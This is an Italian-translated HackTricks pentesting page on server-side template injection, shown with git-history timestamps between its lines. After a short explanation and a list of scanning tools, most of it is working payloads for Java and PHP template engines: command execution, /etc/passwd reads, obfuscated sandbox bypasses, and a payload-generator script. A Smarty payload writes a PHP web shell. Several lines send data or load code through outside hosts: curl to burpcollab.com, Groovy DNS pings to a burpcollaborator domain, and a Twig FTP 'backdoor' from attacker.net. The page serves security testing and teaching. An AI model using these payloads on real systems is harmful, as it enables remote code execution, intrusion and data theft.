hacktricks/pentesting-web/ssti-server-side-template-injection/README.md

984 lines
46 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# SSTI (Server Side Template Injection)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2024-01-01 18:15:42 +01:00
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:03:23 +00:00
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
2022-10-25 15:56:49 +00:00
[**RootedCON**](https://www.rootedcon.com) è l'evento sulla sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro bollente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2024-02-10 13:03:23 +00:00
## Cos'è SSTI (Server-Side Template Injection)
L'Server-side template injection è una vulnerabilità che si verifica quando un attaccante può iniettare codice dannoso in un template che viene eseguito sul server. Questa vulnerabilità può essere trovata in varie tecnologie, inclusa Jinja.
Jinja è un motore di template popolare utilizzato nelle applicazioni web. Consideriamo un esempio che dimostra un frammento di codice vulnerabile utilizzando Jinja:
2024-02-06 15:12:47 +01:00
```python
output = template.render(name=request.args.get('name'))
```
Nel codice vulnerabile, il parametro `name` dalla richiesta dell'utente viene direttamente inserito nel template utilizzando la funzione `render`. Questo potenzialmente potrebbe consentire a un attaccante di iniettare codice dannoso nel parametro `name`, portando a una iniezione di template lato server.
Ad esempio, un attaccante potrebbe creare una richiesta con un payload del genere:
```
2024-02-06 15:12:47 +01:00
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
2024-02-10 13:03:23 +00:00
Il payload `{{bad-stuff-here}}` viene iniettato nel parametro `name`. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, ottenendo potenzialmente il controllo sul server.
Per prevenire le vulnerabilità di iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente venga correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escape consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
2024-02-10 13:03:23 +00:00
### Rilevamento
Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, **fuzzare il template** è un approccio diretto. Ciò comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server tra dati regolari e questo payload speciale. Gli indicatori di vulnerabilità includono:
- Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template.
- Assenza del payload nella riflessione, o parti mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari.
- **Contesto in Testo Puro**: Distinguerlo da XSS controllando se il server valuta le espressioni del template (ad esempio, `{{7*7}}`, `${7*7}`).
- **Contesto del Codice**: Confermare la vulnerabilità modificando i parametri di input. Ad esempio, cambiare `greeting` in `http://sito-web-vulnerabile.com/?greeting=data.username` per vedere se l'output del server è dinamico o fisso, come in `greeting=data.username}}hello` che restituisce il nome utente.
#### Fase di Identificazione
Identificare il motore del template comporta l'analisi dei messaggi di errore o il test manuale di vari payload specifici del linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}`, e `<%= 7/0 %>`. Osservare la risposta del server alle operazioni matematiche aiuta a individuare il motore del template specifico.
2024-02-10 13:03:23 +00:00
## Strumenti
2021-06-25 12:34:30 +00:00
### [TInjA](https://github.com/Hackmanit/TInjA)
uno scanner efficiente per SSTI + CSTI che utilizza nuovi poliglotti
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
```
2024-01-07 09:40:59 +03:00
### [SSTImap](https://github.com/vladko312/sstimap)
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
```
2022-05-01 13:25:53 +00:00
### [Tplmap](https://github.com/epinna/tplmap)
2021-06-25 12:34:30 +00:00
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
### [Tabella di Iniezione di Template](https://github.com/Hackmanit/template-injection-table)
2021-06-25 12:34:30 +00:00
una tabella interattiva contenente i polyglot di iniezione di template più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
## Exploit
2024-02-10 13:03:23 +00:00
### Generico
In questa **lista di parole** puoi trovare le **variabili definite** negli ambienti di alcuni dei motori menzionati di seguito:
2021-06-27 20:19:16 +00:00
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
2024-02-06 15:12:47 +01:00
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
2021-06-27 20:19:16 +00:00
2022-05-01 13:25:53 +00:00
### Java
2021-06-25 12:34:30 +00:00
2024-02-10 13:03:23 +00:00
**Java - Iniezione di base**
2021-06-25 12:34:30 +00:00
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
2024-02-06 15:12:47 +01:00
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
2021-06-25 12:34:30 +00:00
```
**Java - Recupero delle variabili di ambiente di sistema**
2021-06-25 12:34:30 +00:00
```java
${T(java.lang.System).getenv()}
```
**Java - Recupero /etc/passwd**
2021-06-25 12:34:30 +00:00
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2022-05-01 13:25:53 +00:00
### FreeMarker (Java)
2024-02-10 13:03:23 +00:00
Puoi provare i tuoi payload su [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
2021-06-25 12:34:30 +00:00
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
2021-06-25 12:34:30 +00:00
* `#{7*7} = 49 -- (legacy)`
* `${7*'7'} Nothing`
* `${foobar}`
2021-06-25 12:34:30 +00:00
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - Bypass del sandbox**
2024-02-10 13:03:23 +00:00
⚠️ funziona solo su versioni di Freemarker inferiori a 2.3.30
2021-06-25 12:34:30 +00:00
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2021-06-25 12:34:30 +00:00
2024-02-10 13:03:23 +00:00
* Nella sezione FreeMarker di [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
2022-05-01 13:25:53 +00:00
### Velocity (Java)
2021-06-25 12:34:30 +00:00
```java
// I think this doesn't work
2021-06-25 12:34:30 +00:00
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
2021-06-25 12:34:30 +00:00
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2021-06-25 12:34:30 +00:00
2024-02-10 13:03:23 +00:00
* Nella sezione Velocity di [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
2024-02-06 15:12:47 +01:00
### Thymeleaf
2024-02-10 13:03:23 +00:00
In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per potenziali esecuzioni di codice remoto, possono essere utilizzate espressioni come le seguenti:
* SpringEL:
2024-02-10 13:03:23 +00:00
```java
${T(java.lang.Runtime).getRuntime().exec('calc')}
```
* OGNL:
2024-02-10 13:03:23 +00:00
```java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf richiede che queste espressioni siano inserite all'interno di attributi specifici. Tuttavia, il _inline delle espressioni_ è supportato per altre posizioni del template, utilizzando sintassi come `[[...]]` o `[(...)]`. Pertanto, un semplice payload di test SSTI potrebbe assomigliare a `[[${7*7}]]`.
Tuttavia, la probabilità che questo payload funzioni è generalmente bassa. La configurazione predefinita di Thymeleaf non supporta la generazione dinamica di template; i template devono essere predefiniti. Gli sviluppatori dovrebbero implementare il proprio `TemplateResolver` per creare template da stringhe al volo, il che è raro.
Thymeleaf offre anche il _preprocessing delle espressioni_, dove le espressioni all'interno di doppi trattini bassi (`__...__`) vengono preelaborate. Questa funzionalità può essere utilizzata nella costruzione di espressioni, come dimostrato nella documentazione di Thymeleaf:
2021-06-25 12:34:30 +00:00
```java
#{selection.__${sel.code}__}
```
2024-02-10 13:03:23 +00:00
**Esempio di Vulnerabilità in Thymeleaf**
2024-02-10 13:03:23 +00:00
Considera il seguente frammento di codice, che potrebbe essere suscettibile a sfruttamento:
2024-02-06 15:12:47 +01:00
```xml
<a th:href="@{__${path}__}" th:title="${title}">
2022-05-18 13:29:23 +00:00
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
2024-02-06 15:12:47 +01:00
```
Questo indica che se il motore del template elabora in modo improprio questi input, potrebbe portare all'esecuzione remota di codice che accede a URL come:
2024-02-06 15:12:47 +01:00
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
2022-05-18 13:29:23 +00:00
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
2024-02-10 13:03:23 +00:00
### Framework Spring (Java)
2022-09-26 12:13:30 +10:00
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
2024-02-10 13:03:23 +00:00
**Bypassare i filtri**
2023-01-13 17:40:30 +00:00
Possono essere utilizzate più espressioni di variabili, se `${...}` non funziona prova con `#{...}`, `*{...}`, `@{...}` o `~{...}`.
2023-01-13 17:40:30 +00:00
2024-02-10 13:03:23 +00:00
* Leggi `/etc/passwd`
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2024-02-10 13:03:23 +00:00
* Script personalizzato per la generazione del payload
```python
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
2024-02-10 13:03:23 +00:00
end_payload = '.getInputStream())}'
count = 1
for i in converted:
2024-02-10 13:03:23 +00:00
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2023-01-13 17:40:30 +00:00
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
### Manipolazione della vista Spring (Java)
2021-06-25 12:34:30 +00:00
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```
2022-05-18 13:29:23 +00:00
* [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
2020-09-22 09:07:48 +00:00
2022-05-01 13:25:53 +00:00
### Pebble (Java)
2021-06-25 12:34:30 +00:00
* `{{ someString.toUPPERCASE() }}`
2024-02-10 13:03:23 +00:00
Vecchia versione di Pebble ( < versione 3.0.9):
2021-06-25 12:34:30 +00:00
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
2024-02-10 13:03:23 +00:00
Nuova versione di Pebble:
2021-06-25 12:34:30 +00:00
```java
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% set cmd = 'id' %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2021-06-25 12:34:30 +00:00
{% set bytes = (1).TYPE
2024-02-10 13:03:23 +00:00
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
2021-06-25 12:34:30 +00:00
{{ (1).TYPE
2024-02-10 13:03:23 +00:00
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
2021-06-25 12:34:30 +00:00
```
2022-05-01 13:25:53 +00:00
### Jinjava (Java)
2021-06-25 12:34:30 +00:00
Jinjava è un motore di template Java che supporta l'esecuzione di codice Java all'interno dei template. Questo lo rende estremamente potente ma anche pericoloso se non adeguatamente controllato. Un attaccante potrebbe sfruttare questa vulnerabilità per eseguire codice dannoso sul server.
2021-06-25 12:34:30 +00:00
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
2024-02-10 13:03:23 +00:00
**Jinjava - Esecuzione di comandi**
2021-06-25 12:34:30 +00:00
2024-02-10 13:03:23 +00:00
Risolto da [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
2021-06-25 12:34:30 +00:00
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2021-06-25 12:34:30 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
### Hubspot - HuBL (Java)
2021-06-26 13:19:42 +00:00
* Delimitatori di istruzioni `{% %}`
* Delimitatori di espressioni `{{ }}`
* Delimitatori di commenti `{# #}`
2022-04-06 08:57:29 +00:00
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
2021-06-26 13:19:42 +00:00
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
* `{{'a'.getClass()}}` - java.lang.String
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
2022-04-06 08:57:29 +00:00
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
2021-06-26 13:19:42 +00:00
2024-02-10 13:03:23 +00:00
Cerca "com.hubspot.content.hubl.context.TemplateContextRequest" e scopri il [progetto Jinjava su Github](https://github.com/HubSpot/jinjava/).
2021-06-26 13:19:42 +00:00
```java
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
2024-02-10 13:03:23 +00:00
//It was also possible to call methods on the created object by combining the
2022-04-06 16:21:07 +00:00
2022-04-28 15:47:13 +00:00
2022-04-28 23:27:22 +00:00
2022-04-06 08:57:29 +00:00
{% raw %}
2022-02-09 16:22:44 +00:00
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
2022-04-06 08:57:29 +00:00
{% endraw %}
{{ji.render('{{1*2}}')}}
2021-06-26 13:19:42 +00:00
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
2022-04-06 08:57:29 +00:00
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
2021-06-26 13:19:42 +00:00
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2021-06-26 13:19:42 +00:00
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
### Linguaggio di espressione - EL (Java)
2021-06-07 09:30:58 +00:00
2021-06-26 13:24:50 +00:00
* `${"aaaa"}` - "aaaa"
2022-04-05 18:24:52 -04:00
* `${99999+1}` - 100000.
2021-06-26 13:24:50 +00:00
* `#{7*7}` - 49
2021-06-26 14:55:22 +00:00
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
2021-06-26 13:24:50 +00:00
Il Linguaggio di Espressione (EL) è una funzionalità fondamentale che facilita l'interazione tra il livello di presentazione (come le pagine web) e la logica dell'applicazione (come i managed beans) in JavaEE. Viene ampiamente utilizzato in molte tecnologie JavaEE per semplificare questa comunicazione. Le principali tecnologie JavaEE che utilizzano EL includono:
2024-02-06 15:12:47 +01:00
* **JavaServer Faces (JSF)**: Utilizza EL per collegare i componenti nelle pagine JSF ai dati e alle azioni di backend corrispondenti.
* **JavaServer Pages (JSP)**: EL è utilizzato in JSP per accedere e manipolare i dati all'interno delle pagine JSP, facilitando il collegamento degli elementi della pagina ai dati dell'applicazione.
* **Contexts and Dependency Injection for Java EE (CDI)**: EL si integra con CDI per consentire un'interazione senza soluzione di continuità tra il livello web e i managed beans, garantendo una struttura dell'applicazione più coerente.
2024-02-06 15:12:47 +01:00
Consulta la seguente pagina per saperne di più sull'**exploitation degli interpreti EL**:
2021-06-07 09:30:58 +00:00
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
2021-06-07 09:30:58 +00:00
2022-09-26 09:52:47 +00:00
### Groovy (Java)
2024-02-10 13:03:23 +00:00
I seguenti bypass del Security Manager sono stati presi da questo [**articolo**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
2022-09-26 09:52:47 +00:00
```java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
2024-02-10 13:03:23 +00:00
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
2022-09-26 09:52:47 +00:00
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
2024-02-10 13:03:23 +00:00
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
2022-09-26 09:52:47 +00:00
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
2022-10-25 15:56:49 +00:00
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) è l'evento sulla sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto d'incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
##
2022-05-01 13:25:53 +00:00
### Smarty (PHP)
2021-06-25 12:34:30 +00:00
```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2024-02-10 13:03:23 +00:00
* Nella sezione Smarty di [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
2022-05-01 13:25:53 +00:00
### Twig (PHP)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
* `{{1/0}} = Errore`
* `{{foobar}} Nulla`
2021-06-25 12:34:30 +00:00
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
2022-10-03 13:43:01 +00:00
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
2021-06-25 12:34:30 +00:00
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
2024-01-07 22:40:00 +03:00
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
2021-06-25 12:34:30 +00:00
```
2024-02-10 13:03:23 +00:00
**Twig - Formato del template**
2021-06-25 12:34:30 +00:00
```php
$output = $twig > render (
2024-02-10 13:03:23 +00:00
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
2021-06-25 12:34:30 +00:00
);
$output = $twig > render (
2024-02-10 13:03:23 +00:00
"Dear {first_name}",
array("first_name" => $user.first_name)
2021-06-25 12:34:30 +00:00
);
```
2024-02-10 13:03:23 +00:00
**Ulteriori informazioni**
2024-02-10 13:03:23 +00:00
* Nella sezione Twig e Twig (Sandboxed) di [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP)
